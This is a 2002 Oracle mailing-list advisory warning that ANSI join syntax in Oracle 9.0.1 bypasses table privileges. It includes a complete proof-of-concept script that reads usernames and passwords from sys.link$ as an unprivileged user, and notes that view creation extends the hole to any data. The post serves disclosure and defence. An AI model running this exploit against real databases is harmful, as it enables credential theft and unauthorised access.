Oracle-L: Security Hole

From: Jonathan Lewis <jonathan_at_jlcomp.demon.co.uk>
Date: Tue, 16 Apr 2002 03:33:26 -0800
Message-ID: <F001.0044518E.20020416033326@fatcity.com>

This just in from comp.databases.oracle.server.

See metalink bug 2121935.

Using ANSI syntax joins (CROSS JOIN, LEFT OUTER etc) allows you to view data from tables on which you have no privilege. For example, try this COMPLETE script:

connect / as sysdba
create user us1 identified by us1;
grant create session to us1;

connect us1/us1

select userid, password
from

sys.link$ cross join dual
;

Worse still, if you have the privilege to create views then this loophole allows you to seek and destroy ANY DATA in the database that you might want to.

The bug is fixed in 9iR2. I didn't see any note about a backport, or a security alert on OTN.

Conclusion:

9.0.1 should not be in use on production system until Oracle supplies a fix.

Jonathan Lewis
http://www.jlcomp.demon.co.uk

Author of:
Practical Oracle 8i: Building Efficient Databases

Next Seminar - Australia - July/August
http://www.jlcomp.demon.co.uk/seminar.html

Host to The Co-Operative Oracle Users' FAQ http://www.jlcomp.demon.co.uk/faq/ind_faq.html

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--

Author: Jonathan Lewis
INET: jonathan_at_jlcomp.demon.co.uk

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